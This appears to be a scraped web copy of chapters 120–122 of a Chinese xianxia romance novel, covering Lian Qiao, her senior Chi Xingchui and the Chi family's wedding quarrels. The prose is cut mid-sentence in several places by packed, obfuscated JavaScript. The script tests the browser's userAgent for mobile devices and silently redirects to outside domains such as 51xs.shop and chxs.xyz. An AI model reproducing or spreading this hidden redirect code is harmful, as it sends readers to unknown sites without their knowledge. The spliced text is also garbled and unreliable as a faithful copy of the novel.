l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14214322|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,你就这么喜欢她吗?” 迟来风缓缓闭上了眼睛,“阿瑶,在我经历的这么多段荒唐的感情,她是唯一一个我想要与她长长久久的人。” “那是她勾引你,她就是狐狸精她就是不要脸!她总看不起连乔身上有狐族血脉,我看她才是天生的狐媚子,她给你下了迷魂药,她就是个下贱坯子!” “啪……” 少女的脸歪向一边,她抬手贴住脸颊,不可置信地望着迟来风。 迟来风也顿了一下,“瑶瑶,我不是想打你,瑶瑶,瑶瑶……” “迟来风你等着后悔吧,姨娘不会同意的,没有人会祝福你们!”容瑶哭着跑开,她捂着脸又哭又笑,“姨娘费了那么多心为你铺路,不想让你输给迟星垂,你个孬货,你就等着一输到底吧?” 容瑶口中的赢家,正站在阴阳境外,等连乔破镜出来。 等连乔出来,迟星垂问,“今日怎么会这么晚?” 连乔抿了抿嘴,“其实刚才我已经出来了,但是我看到你不在,就又回去破了一关,所以才会晚了些。” 迟星垂道,“抱歉让你久等了。” “本来我是想先回去,但是不知道为什么我笃定你还会回来找我,我不想让你扑空。” 路边的灯光倒映在少女眼中,衬得她的狐狸亮亮的。 细微的光泽将人的影子拉得很长,连乔跟在他身后,看到自己的影子投在迟星垂挺拔笔直的后背,又扑到地上,和他的影子重叠,交缠。 一股别样的安宁充溢心间。 她好像习惯了迟星垂在这里等自己。 无数个这样平常而又安静的夜晚,他就站在阴阳境外,等着自己一次一次的出境,然后两个人并肩行剑宗过数座山水,回到云中峰。 时间是这样漫长,但就是在这日日夜夜重复的过程中又是如此短暂。 连乔想,她会永远怀念和迟星垂一起走过的夜晚。两个人谁都没有再多话,好像彼此之间都形成了某种默契。明明什么都没有说,却又是什么都说出了口。 连乔问:“发生了什么事吗?” “嗯。”迟星垂淡淡道,“因为迟来风说要取云招摇的是闹得沸沸扬扬,迟家来人了。” 提及此事迟星垂兴质不高,连乔也不问。他与家里的关系说不上好,就像上一次他说迟纵深想用钱去打发原主,他的称呼也是迟家家主,并没有称他为父亲。 “怎么说?” “和上一世一样,夫人十分反对迟来风雨云招摇的事,并且大闹了吉兆峰,家主来不及赶过来,刚才我去了一趟吉兆峰。” 迟星垂声音淡淡的,没有喜怒,“家族已经赶到云来城借酒楼,明日会来剑宗。” 回到房间,连乔传讯给林叔,让他替迟纵深安排好上房,迟家家主有什么需要的,都服务好,切勿怠慢。 林方生一一应下。连乔又道准备一些名贵的珍宝首饰,明日送到剑宗,她要拜访迟家代夫人。 林方生“嗯”了一声,连乔问怎么了?林方生道,方才在迟家家主房间里看到一个女人,还以为是代夫人,原来不是啊。 “不过看着身形好像是代夫人啊。” 连乔:“……林叔,少管闲事。” “是,小小姐。” 120.第 120 章 在【论云招摇伪善虚假之实证细节】被炸以后,又在当天晚上出现数十个相似内容的帖子,然而这些帖子又很快莫名其妙消失。 之后隔了半天不到,不仅仅包括乾元剑宗的名帖,还有无极剑宗的三界今日异闻,泰丰门的今日录……类似话题重新登上热搜。 没什么别的意思,单纯看云招摇不爽,尤其是这些帖子多少与自己相关,吃了那么多闷亏,可不能一了百了。 连乔砸下重金再次将云招摇推上风口浪尖,在数次推搡拉扯后,云招摇彻底崩溃了,自道无颜再留在乾元剑宗,请求离宗一段时间,前往人间历练。 之后是迟来风连夜出剑宗追寻爱人,二人互诉衷肠,云招摇哭着说自己没有迟来风想象中那般美好,迟来风说自己认识她这么多年,爱的是她这个人,无论她变为何种模样,都不在乎。 发生这些事的时候,连乔正坐在云中峰大厅内,陪着虞南子接待来自云岭的贵客。 原本过来是要替二儿子解决终身大事,但毕竟来都来了,也顺便来看看大儿子。 也不是第一次见面,在虞南子与两位家长结束一场尴尬又短暂的寒暄后,连乔又单独拜访了迟纵深和后以兰。 毕竟是自己兵器行生意的大客户,也是法衣铺、水粉铺的vip,还每年都在借酒楼以及其他各大酒楼消费无数,出面拜访,是礼貌,也在情理之中。 毕竟,她不是原主,不想因为男人断掉和对方的生意往来,并且下定决心要将生意做大做强做得风生水起,榨干老客户的剩余价值。 保养得当的贵夫人看到她时似乎眼前一亮,问了一些不相干的问题,比如你师从虞南子学的是什么,年纪多大家住何处,问到后来迟星垂皱起眉,说夫人,如果没什么事,我带师妹先走了。 后以兰脸色变了变,她问,“连乔姑娘,我是不是在哪里见过你?” 连乔道之前我们在借酒楼见过面。 后以兰说不对。 “不对不对,在借酒楼之前,我应该还见过你。”她歪了歪头,“你是不是去过云岭?” 好吧,被认出来后连乔也不掩饰,她说很早是因为一些个人私事去过云岭。 后以兰道果然如此,拉住她问,“你是不是追求过来风?” “……以前不懂事嘛。”连乔从后以兰手中抽回手,尴尬笑笑,“二公子这么优秀,他心有佳人,并且马上要举行成亲大典,我也衷心祝福他。” 后以兰猛地从椅子上站起来,“成什么亲,只要我在一天,就不可能让那丫头进门,她山鸡攀上梧桐树,就真当自己是凤凰了?” 连乔被她吓了一跳,后以兰盯着她望,望了很久,她问你现在还喜欢来风吗?我看你明理懂事落落大方,我觉得你更适合当我们迟家的儿媳妇。 连乔:“?” 见连乔没有反应,后以兰还想继续劝她,她说迟来风很好的,只是年纪小不懂事,被坏女人迷了心思。谁年轻的时候不犯点错呢?我们家家主曾经也走了歪路。 她说你就和来风在一起吧,你们成亲了就算他心不是你的,人也还是你的。 ??? 这到底是什么逆天的发言啊? 曾经非常清贫,但因为攀上迟纵深这根高枝的云岭代夫人,忘记自己也有过艰难困苦的生活,她非常瞧不起云招摇那套上位手段,话也说得很难听。 在连乔逃也逃不过,躲也躲不开时,迟星垂悄无声息地挡在她面前,“夫人,她不喜欢迟来风,婚姻大事也并不是儿戏,还请您不要妄言。” 面对迟星垂,后以兰眼睛都要斜到天上去,她问关你什么事啊,人家连乔姑娘当时都追到云岭来了,这么勇敢的人配来风刚刚好。 迟星垂冷笑一声,连乔是我师妹,我要对她负责,我当然不会看着她往火坑里跳。 后以兰一愣,你这是什么意思? 迟星垂说就是你理会的那个意思,你把迟来风当宝并不代表别人也要这样,连乔有自己的想法,请你不要勉强。 后以兰在后面大喊,迟星垂也没有回头,后以兰一跺脚,对着在旁边呷一口茶的迟纵深哭丧着脸,“家主,你看他没大没小的。” “行了,你也少说两句。”迟纵深始终秉持着和稀泥的态度,对家中事向来是睁一只眼闭一只眼。 后以兰没再说话,但是在迟纵深看不见的角落,大大的翻了一个大大的白眼,也不知道是对谁。 虽然外面风风雨雨,连乔还时不时去捧着瓜子凑热闹,但迟星垂似乎并没有受到什么影响,每天仍旧三点一线穿梭在云中峰、剑宗和练剑场之间。 除了自己修行,便是盯着连乔练习。在二公子日日风花雪月佳人在怀时,大公子苦行僧一样每日对着清风朗月潜心修行,不仅自己修,还盯着自己的师妹修。 连乔再继续突破三境后,出来的时候看见迟星垂在月光下等自己,忍不住骂骂咧咧,说师兄你是不是很闲,你要是很闲的话,你能不能去云中峰把我房间打扫了?你不要天天盯着我学习,你能不能放我半天假? 迟星垂说,放假可以,但是你要出去喝酒玩奇怪play的话免谈。 连乔一愣,说你怎么知道那是什么意思? 迟星垂说你看你那表情,我能不知道是什么意思吗? 连乔摸摸头,又摸摸鼻子,她说师兄在你面前总显得我很猥琐很龌龊。 迟星垂道,你龌龊那是显得龌龊才龌龊吗,那不是事实吗,今日回去你再抄两遍静心术咒法。 连乔又是一巴掌,拍过去轰隆一声,迟星垂捂着胸口咳嗽两声,说师妹你力气真大,你再这样下去,除了我没有别人能受得了你。 连乔道,只要你能受得了我就够了。 气氛忽然沉静下来,连乔后知后觉,发现自己好像说的有点暧昧,她立刻解释道,我的意思是你修为比较高,还吃了我那么多洗筋伐髓解除暗疾的药,你比较扛打一点嘛…… 迟星垂点头,“嗯。” 大师兄看上去心情似乎特别好,他对连乔道,“看在我很扛打这件事很受到你认可的份上,我答应放你一天假,允许你离宗游玩。” 在连乔欢呼雀跃快要一蹦三尺高的时候,他后面接了一句冷冰冰的话,好想知道你在玩什么呀,我也一起去看看吧。 …… 在云中城一个非常纸醉金迷——比借酒楼还要不可描述数十倍内的销金窟内,连乔和白花惊坐在一排,对面坐着面色不善迟星垂和默非。 白花惊和连乔面面相觑,白花惊圆圆的软软的脸此时皱成一团,她不停给连乔使眼色,你怎么把迟星垂带来了。 连乔挤眼睛,说我没有带他来,我骗他说我去借酒楼,他就放我出去了。我怎么知道他不做人就这样偷偷摸摸跟过来了呢。 连乔眼珠子又转了转,问小白花你怎么让默非知道了这件事? 白花惊说我也不知道默非怎么知道的,现在我有点害怕,默非看上去好像很生气。 如果尴尬有形体的话,现在充斥在空气中的尴尬气体能够凝结成厚厚一层的水珠,又慢慢汇聚成一片汪洋。 连乔实在忍不了这尴尬的氛围,这时门“吱呀”一声打开,门外探出来一个涂着一个脑袋,那男人涂着厚厚的脂粉,头发梳得油光蹭亮,笑着对白花惊说,“白姑娘,还是老样子哈,昌明公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14223948|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子马上就来。” 白花惊手都要摇断了,示意店家让昌明回去,油头男人没明白,还“啊”了一声,“什么,要五个啊?好勒,马上来。” 默非一直以来很黑的脸,现在更黑了。 连乔捂住脸,心想完了,小白花平日里看你如此斯文腼腆,你怎么玩得这么野? 等五个风度翩翩少年郎抱着琴瑟琵琶粉墨登场,默非好像快要烧起来了。连乔赶紧打圆场说小白花你好雅兴啊,中间这就是昌明公子吧,看上去可真年轻,听说他弹得一手好琴,今天我们继续听他弹琴。 昌明公子淡然一笑,明眸善睐,说起话来温温柔柔,正是连乔喜欢的邻家大哥哥那一挂。 她心想白花惊果然和自己关系好,连品味都一模一样。 不知道什么时候迟星垂探头,他问,“好看吗?” 真言之心从不会骗人,连乔说,“好看。” 她抬手就要打人,但是打人之前她又说,“但是我觉得没有你好看。” 迟星垂:“……” 默非继续他的毒舌,“这空气真污浊,充满了谎话的虚假味儿。” 半晌他又道,“真言之心借我用一下。” 连乔:“默非你是不是有病?我们俩正正经经的听人弹琴,我们这是陶冶情操,你想到哪里去了?” 白花惊:“不是啊,我就想出来见见世面,他们长得真好看,说话也甜,但是我觉得没有默非师傅可爱。” 说完后白花惊捂住了嘴。 连乔说,“迟星垂你要是再拿这玩意儿搞来搞去,那我们就同归于尽吧。” 迟星垂举手,“我是无辜的,我什么也没做。” 连乔:“啊?” 默非不说话,白花惊低下头,又把脸抬起来,脸上挂着红晕,“嗯,是真心话。” 连乔把头伸过去,想看两人之间究竟发生了什么,迟星垂道,要不要给他们留点空间? 连乔说我让默非教一下白花惊修气,他们两个怎么就莫名其妙看上眼了?默非这不是老牛吃嫩草么,虽然他看上去年轻又帅气,但这不妨碍他年纪大。 迟星垂嘴角扯了扯,说你要不还是少说点,默非说连乔你和你爹嘴一样贱。 被迟星垂拉出去后,连乔觉得甚是无聊,好好的半天假就这么被打断了,迟星垂问你就这么喜欢听小帅哥弹琴吗,要不回去我慢慢弹给你听。 连乔:“好呀。” 迟星垂:“你要不要脸。” 连乔说迟师兄你的高冷呢你的傲慢呢,你不要总是在我面前崩人设。迟星垂捏住她后颈,说那这就是我本性,别人都看不到,你看着办吧。 “走吧,回去给你弹琴。”迟星垂道,“别在这地方待了,让人很不舒服。” 连乔白了白眼说也没见到别人不舒服,心脏看什么都脏。 迟星垂说这里有不正经的服务,所以来逛的人也很容易不正经。 连乔:“那也不一定……”话还没说完就倒吸一口凉气,随后立刻将迟星垂推到一边。 说在这里的人不正经不是我说的,看到你爹搂着一个女人进了房间,也不是我愿意的…… 那女人珠玉绫罗满身,只看到了个背影,身姿窈窕,单纯像后以兰。 那女人看上去像后以兰,但定然不是,后以兰还在大闹乾元剑宗,逼着迟来风和云招摇断绝关系呢,哪有时间到这里来花前月下…… 前几日林叔说在借酒楼看到迟纵深和代夫人,她还让他不要多管闲事……现在看到本人了,连乔不免震惊。 连乔去看迟星垂的反应,对方没什么反应,表情淡漠,像是习惯了一般。 121.第 121 章 都说迟家家主是个重情重义的人,他的挚爱是他的原配妻子钟蕴,钟蕴离世后,他迎娶了自己的小师妹——也就是现在的代夫人后以兰。 代夫人后以兰平平无奇,这里的平平无奇指的是她的背景平平无奇,事实上后以兰模样极为漂亮,行为举止大部分时间也比较得体,除了在面对自己儿子时会显得控制欲非常强,其他时候倒是无伤大雅。 迟纵深这么多年与后以兰相敬如宾,从不嫌弃这位代夫人出身清贫,两人也算是修真界一桩美谈。 连乔从没有听过也不知道,迟纵深在外面拈花惹草。 所以在风月楼看到他拥着一位戴面纱的女子进了屋,她非常惊讶。 惊讶之余,还十分不自在。 “算了,还是回去吧……”经历了这么尴尬的事,连乔宁愿今晚没有出来。 她现在恨不得找个地洞钻进去,说我去叫小白花。 转身回到屋内,在门口的时候连乔眨眨眼,她找到先前油光满面的小厮,给他一把灵石,让他去打听一下,隔壁房间里面和迟纵深一起的那个女人是谁。 小厮摇了摇头,“我们风月楼最注重保护客人的隐私,客人你这不是为难我嘛……” 说完毫不犹豫将灵石塞入口袋,对连乔露出一个无能为力的笑。 翻了一个大大的白眼,连乔又往他怀里塞了三袋灵石,朝他点点头,露出一个你知我知绝对不会有第三人知的表情。 小厮伸手感受一下袋子的重量,惊讶地瞪大眼睛,转而露出更大的笑容,嘴角快要咧到耳后根,“好的,这位大方的客人,请您稍等我一下。” 很快那小厮回来说,“大方的客人,您是不是看错了?那房间里只有迟家家主和几个生意场上的客人,哪里来的什么女人?” 连乔心想,这怎么可能,我明明看着他搂着那女人进门了。 让小厮去房间里叫小白花出来,连乔自己则蹑手蹑脚来到迟纵深的房间外,凑上去听里面有什么动静。 但还没有等她凑上去,门“吱呀”一声打开,对上连乔那看上去不慌不忙的眼光,迟纵深倒是惊讶,“连小谷主,你怎么会在这里?” 连乔歪了歪头,看似正常的动作,实际上却将屋内的情况全部纳入眼中。她说我方才在外面好像看到了你,还以为是自己眼花,没想到真是您啊。 迟纵深说近日妖域一带祸事重生,我约了几个朋友在这里商议此事,连谷主一个人吗,要不要进去喝一杯,顺便我再给你介绍一笔生意。 连乔笑了笑说今天我是来消遣的,不谈生意,等会儿我们还有别的安排,就不打扰前辈了,迟家主,告辞。 迟纵深向她点点头。 等连乔离开,迟纵深关上了门。 如果细看,其实可以发现屋内的其他人并不正常,他们如同木头人一般,四肢僵硬,目光空洞。在迟纵深关上门以后,这些人如同是被投入火焰的黄纸,在一瞬间燃尽,从正常的人变成一堆飞灰,随后化作虚无。 房间里面容普通但保养得当的女人掀开帘子,坐到迟纵深对面。她微微眯了眯眼,“那丫头倒是挺警惕的,和她爹一样不是个好对付的货色。” “我同你说过几次,不要再来这里找我。” 迟纵深坐下,他给自己倒了杯酒,也给那女人倒了一杯,语气虽然责怪,但目光中却隐隐透着温柔,“被别人发现了,对你对我都不好。” 那女人也是笑了,“这么多年你还是一点都没有变,非常注重你那看上去完美无瑕的名声。” 迟纵深不说话了,过了会儿才问,“最近怎么样?” “老样子咯。” “百丈河从极夜变为极昼,仍旧是满目的荒芜,偶尔有小妖从妖域逃往人间,不过也没有什么威胁,便放任它去了……” 妇人将迟纵深递给他的酒一饮而尽,目光放空,“相比较家中那些烂泥扶不上墙的东西,我宁愿一直待在那无穷无尽的黑暗与空白里。” 两人沉默了会儿,妇人开口,“我听闻,来风要娶云招摇?” “嗯。”迟纵深浅酌一口酒,“是有这么一回事。” “时间过得这么快,连来风都到了娶亲的时候了,看来我们是真的都老了。”那女人望向窗外,目光放空,“这件事,后以兰能答应吗?” 淡淡笑了一声,迟纵深道,“她当然不会答应。” 年轻的妇人一脸我就知道的表情。 “不过嘛,是来风娶亲,他喜欢便好了,至于喜不喜欢,二人之间有没有情义在,这些事本来就是勉强不来的。” “来风倒是有魄力。”那妇人深呼吸一口气,又猛的喝了一杯酒,“若是当年我也有他这样的魄力,也许一切就不会变得像现在这样一地鸡毛。” 迟纵深也喝了一口酒,两人都没有再说话。 那妇人说,来风成亲的时候告知我一声,我会赶过去的。 她望向窗外,像是想起了许多年前的时光,“我好像很多年没有随你去云岭了,不知道云岭还是不是我记忆中的样子。” 再次回到云中峰,连乔仍旧按部就班地修行,当然期间她从来没有忘记关注过子午谷。 最近又是蓝颜榜和男颜综合榜排榜时间,玉非缘仍旧包揽前三,除此之外他仍旧低调,没有闹出任何动静。 连乔同他那位便宜爹一模一样,连乔也十分低调,但偏偏自己自带热搜体质,在迟来风和云招摇大婚这件事传遍修真界各大宗门以及人间各大大街小巷的时候,连乔头戴大片绿帽子这件事也再次被顶上热门话题。 【你们听说了吗,迟来风和连乔曾经有过一段暧昧的时间,但是后来迟来风遇上了更喜欢的云招摇,就把连乔给踹了,连乔还因此闹到与云岭迟家去了。】 【真的假的,又有什么我不知道的秘辛嘛?】 【哎呀,千真万确,这件事可是我亲耳听云岭代夫人说的,代夫人很不喜欢云招摇,云招摇也确实很虚伪,代夫人说她更满意连乔做儿媳妇儿……】 看到云招摇这三个字,连乔下意识以为无捂嘴学又要开始了,但好在这个帖子是专门为了抨击她而设立,并没有被黑掉,反而高高挂在名帖前三热榜。 【代夫人曾经当面问连乔想不想和迟来风再续前缘,她说可以想办法把连乔和迟来风绑在一起,只要连乔愿意。】 【迟来风好歹也是云岭的二公子,连乔和他结亲那是门当户对。】 【门当户对个屁,连乔明明可以独美,去云岭受那死气做什么?】 【楼上慎言,怎么说连乔都是一个妖修,迟家可是世家,能和迟家结亲就是她高攀了好吧。】 【而且在云招摇和迟来风和好之前,连乔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14232946|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是又和迟来风搞在一起吗,要不是迟来风不要她了,她还是会紧巴巴贴着的。】 【就是就是,我也看到了,迟来风天天去冲虚学院下面接她——要我说啊,连乔就是贱骨头,只要迟来风勾勾手指,她马不停蹄回到他身边你信不信?】 连乔立刻登场和对方对骂,说连乔是有绿帽癖吗要跟迟来风再续前缘?你们要不要动动脑子想想,或者睁大眼睛看看,当初是迟来风贴连乔而不是反过来。 但没有人听,大概率是有人带节奏故意放大解读,说迟来风不要她,说她不值钱…… 连乔心力憔悴。 她懒得和智障对骂了,也决定开始捂嘴大法。 但是出手之前,那些说她倒贴迟来风说她爱而不得的帖子忽然间全部被禁止发言,在陆陆续续有水军推出来新的帖子后,另一股更强大的力量将这些恶意话题强行终止。 连乔想哪里来的好心人啊。 隔天去练剑场,从剑阵中出来看到迟星垂拿着万机来回翻。他在涉及自己的恶意话题上点一个叉叉,然后很快那个帖子里面乱说话的人的号都被封了。 还扒出来那些人只要发类似的话题,就可得半颗下品灵石一颗。 迟星垂想找幕后黑手,水军说自己也不知道是谁找的他,对方做事很谨慎,很怕被抓住马脚。 迟星垂说如果下次再有人找你,你提供线索,我出十倍的价格。 连乔:“感谢迟大公子为反网暴这项工程作出巨大贡献。” “嗯。”迟星垂这才发现连乔,她在身后站了很久,月光的清辉落了她满身。 二人并肩而行,迟星垂道,“迟来风想方设法的为云招摇挡去那些无由来的恶意,但是你又何尝不是无辜的,遇到这些事,我想我更应该站在你前面。” 连乔说大师兄你好伟大我好爱你。 迟星垂顿了一下。 他摸一摸连乔的头,心想你这个没心没肺的家伙,你要是真心的该有多好。 两人穿过月色,月光下树影婆娑,门前的桃花又落了一层,连乔问迟星垂埋在树下的桃花酒什么时候才能喝。 迟星垂说需要再等一等,连乔躺倒在椅子上,说那你可不要偷喝了。 迟星垂说你当我是你吗? 说完从善如流的抓住连乔挥过来的拳头,“你放心,这是给你准备的,自然给你喝第一口。” 万机忽然响起来,打断二人之间的静谧。 “我可能得回一趟云岭。”迟星垂道,“方才云家传来消息,说半月后迟来风与云招摇成亲。” 连乔并不惊讶,这和原书男女主成亲的时间差不多。 不过唯一难以理解的是,为什么云招摇会对迟来风那样情根深重。即使受那么多非议,受后以兰明目张胆的白眼,也要嫁入迟家。 后以兰的战斗力连乔见识过,那不是一般人能忍受的。 “迟来风的身份能方便云招摇做许多事。” 迟星垂拂去桌上的落花,二人坐在庭院的桌前,月光穿过桃林的缝隙洒在地面上,光影斑驳。 他对连乔说,“云招摇喜欢迟来风毋庸置疑,而且作为修真界数一数二的大世家,迟家背后势力如古树树根般盘根错节,她想找一个保护伞不难理解。” “此外,她想进迟家,是因为一直想找一样东西。” 122.第 122 章 云岭迟家处于修真界西岸,背靠十万山林,一年中有半年云气缭绕,仿若置身于仙境云端,由此得名云岭。 云岭与怒海、大荒原隔有数十座山脉,可以称得上占据修真界与魔域、妖域交通枢纽地位,其地之繁华不输于号称不夜城的云来城。且迟家属世家,千百年前曾经出有数位飞升之天才,素有钟灵毓秀地灵人杰之美称。 原本的云岭便人来人往十分热闹,近日来因为迟家二公子娶亲,各大宗门世家争相前来拜访贺礼,为这繁华之地更添几分喧嚣。 迟家位于云岭中心地段,此时灯火通明,门口宾客络绎不绝。 宾客中最多的便是乾元剑宗的长老与弟子,毕竟迟二公子和云招摇都出自乾元剑宗,二人虽同宗不同门,但是曾在一起修行,也互称一声师兄妹。结了亲事,于剑宗来说,更是亲上加亲。 云招摇的师父李长淮兴致高昂,一张老脸笑的褶子都快聚成了菊花,“来风啊,招摇可是我最得意的弟子之一,你可得好好待她,否则我饶不了你。” 迟来风态度十分恭敬,忙招呼道,“这是自然,长淮长老,快往里请。” 除去乾元剑宗弟子外,泰丰门、长渊宗、清源之巅等等宗门的人也陆续来齐,迟来风还在往外看,迟纵深问他在看什么。 迟来风似乎面露不解,“长淮长老过来了,但是林锦绣没有来。” “林锦绣?” “她是招摇最好的朋友之一。”继白祺惨死后,林锦绣也莫名与她越行越远,这对云招摇打击非常大。 云招摇身世孤苦,没有娘家人,身边好友不多,现在身边连一个互诉衷肠的人也没有。 如果林锦绣出现,想必她会开心很多吧。 等名录上大部分的宾客到齐,迟来风准备退回内堂,就在此时,有下人来报,说天门峰峰主前来拜访。 “天门峰峰主?”迟纵深微微皱眉,半晌才想起来,那位前天门峰峰主是谁。 梅远山也备了一份贺礼,迟纵深将他迎进门,两人寒暄几句,站在一旁的梅承襄忽然开口,“招摇呢,我怎么没有看到招摇?” 他看了一眼迟来风,“迟师兄,我想见招摇,我现在可以去看她吗?” 迟来风:“……” 周围在此刻一片寂静,其中脸色最臭的,便是看新媳妇儿最不顺眼的恶毒婆婆后以兰。 她本来都不想出席这一场典礼,但到底不想给夫君和儿子丢面子,也不想让迟家遭受非议,努力了很久才让自己用正常的状态去面对众人。 结果被梅承襄的一番话打回原形,气的差一点要原地晕倒。 后以兰声音冷冷,“梅公子,新娘子大礼之前是不能见人的。” 梅承襄闷闷不乐,“哦。” 在场的人基本都知道梅承襄和云招摇之间的关系——这位梅小公子追求云招摇多年未果,爱而不得辗转反侧,今日云招摇都要嫁为人妇了居然还眼巴巴跑过来,当着人家未婚夫的面说出想要见新娘子这么荒唐的话来。 梅远山拉住他,压低了声音,恶狠狠地,“我早就告诉过你,不要在这里惹事,云招摇是今天的新娘子,你要是再没有分寸,就给我回乾元剑宗。” 梅承襄嘟嚷着,“……我只是想去看一看她,我没有存别的心思。” “你最好别存别的心思!”梅远山握紧了拳头,“今天在场这么多人,你娘都回来了,别给我丢人现眼。” 再三叮嘱完自己的儿子,梅远山对迟纵深笑一笑,迟纵深也回以尴尬的微笑。 这时迟纵深才注意到旁边还有一位,是向来不喜欢出席各类露脸场合的前天门峰峰主夫人,一直驻守在百丈河边界的乾元剑宗大剑仙金珏。 他对金珏行了一个礼,“梅夫人。” 金珏微微点头,“迟家主。” 便在此刻下人又来报,说大公子回来了,和他一同过来的还有云中峰的小师妹,子午谷的小谷主连乔。 后以兰站在宾客面前,听到迟星垂的名字后忽然愣住,迟星垂对后以兰与迟纵深行礼,叫一声“家主,夫人。” 后以兰仍旧在发愣,等迟来风叫了她几声,她才回过神来。 后以兰上下瞥了迟星垂一眼,这是她习惯性的动作,在连乔见过她这么多次以来,她就没有正常看过迟星垂,总是一副吹毛求疵小人得志的恶毒后妈模样。 “你弟弟成亲大典,你怎么现在才回来,这都什么时辰了?”她斜了斜眼珠子望向迟星垂,过会儿又重新露出笑容,堪称瞬间川剧变脸,招呼着大家进门。 连乔也送上贺礼,一共两份,一份是替虞南子准备的,另一份是以自己的名义准备的。 她准备的是一双一对双犀玉角,这双玉角是非常贵重的以玉犀石雕成,十分精致玲珑,一方吹响,即使在千里之外另一方也能有所感应,是集颜值与实用性为一体的极为珍贵的传信法器。 见到连乔,后以兰十分高兴,说有劳小谷主费心了。高兴之余又十分惋惜,心想当年迟纵深做了什么蠢事,居然妄图想用钱将这么好的儿媳妇人选打发走? 这一位做事大方得体,不是比房里那位水性杨花拈花惹草的狐媚子好上不止一倍? 在对待连乔和迟星垂这件事上,后以兰的态度是截然不同的,上一秒还在对连乔笑,下一秒就斜眼睨向迟星垂,“我最近忙于你弟弟的婚事大典,所以你的别院这段时间也没有差人打扫,你可能住的不太惯。” 她说:“如果不习惯,就将就这两天,等大典结束,你应该就走了吧?” 怎么说呢,正如之前连乔所见到的,在对待大事后以兰还不算拎不清,但是在一些无足轻重的小事上,这位恶毒后妈就想方设法的膈应你。 好在迟星垂一直是冷淡漠视的态度来对待迟家所有人,否则以这恶毒后妈这样low却又没办法下手的方式,他不知道要受多少气。 要是自己被刻薄后妈成日里阴阳怪气,可能也要抑郁,怪不得他暗疾这么多年呢。 提及此,连乔忽然生出一个疑问,迟星垂的暗疾……有没有可能与后以兰有关? 若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14239931|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不然,为何童年时在云岭迟家就会时不时暗疾缠身,严重时几近殒命,而被虞南子接至云中峰后,便能正常生活平安长大呢。 有后妈就有后爹,尤其是迟纵深这和稀泥且对家庭完全不负责的人,在他眼皮子底下玩点儿小动作,给继子下点毒什么的,也不是做不到…… 连乔将这个大胆却十分有逻辑的猜测告诉迟星垂,问迟星垂有什么想法。 迟星垂:“……” 连乔:“你笑什么?” “多谢你这么关心我。”迟星垂弹了一下连乔的额头,对着龇牙咧嘴的她道,“她确实不是一个招人喜欢的人,但我可以确定,暗疾这件事,不是她所为。” 连乔说你凭什么这么确信? “一个人的性格是确定的,后以兰的能力和手段,还不能支撑她做出暗疾突发这么严重的事。” 连乔说万一她会装呢,有很多人是会扮猪吃老虎的,后以兰可能只是看上去智商不高,说不定人家想表现的就是这种状态,让大家怀疑不到她头上来呢。 迟星垂点点头,“你说的很有道理。” “别光说我说的很有道理呀,你别笑啊,迟星垂,我是在为你的生命健康考虑。”连乔抓着他双肩来回摇。 “你认真点好不好啊,你上点心,虽然你现在服用了碧心兰,又过得那么清汤寡水的,暗疾还不至于要你的命,但是发作起来很痛的,我不想看到你那么痛苦的样子。” 迟星垂托着腮,在连乔慌乱不知所措的目光中笑得露出一排整齐的牙,“好了,知道了,我会保护好自己,不让暗疾发作,毕竟看到你那样着急,我也会心疼。” 连乔耳根发烫,捂着脸说,哎呀,你在说什么呀,你在说什么鬼话呀。 迟星垂叹了一口气,说今晚的月色真好啊,不过有点可惜。 可惜什么? “迟来风比我小两岁,两世为人,他都在我前面成亲,可怜我一个孤家寡人,不可惜吗?” 连乔撇撇嘴,“是啊,好可惜啊,你一大把年纪没人要,不会你要跟默非一样吧。” 迟星垂:“……你这师妹我真不想要了。” “那不行的,逐我出师门是师父的事,你没有资格做出不认我的决定。” 迟星垂:…… 啊,好气啊,好想吐血啊。 连乔:“哈哈……师兄,不要难过,也有人喜欢你的。” 迟星垂没好气:“谁啊?” 连乔看了他一会儿,从兜里掏出来一堆信,“这些都是我在冲虚学院学习的时候,爱慕你的女弟子托我给你的,但是我觉得你需要一心修行一心向大道,所以全给你截下来了,现在我给你读一下吧?” “不用了谢谢……”迟星垂捂着胸口,“你别气我了。” “啊呀,一封嘛,就读一封吧。”连乔抽出最底下的信,亮给他看,“这封,这封是云中峰小师妹写的,感情可真挚了呢,你真不听嘛?” 做西子捧心状的迟星垂一顿,他放下手,“嗯,那浅浅听一下。” 123.第 123 章 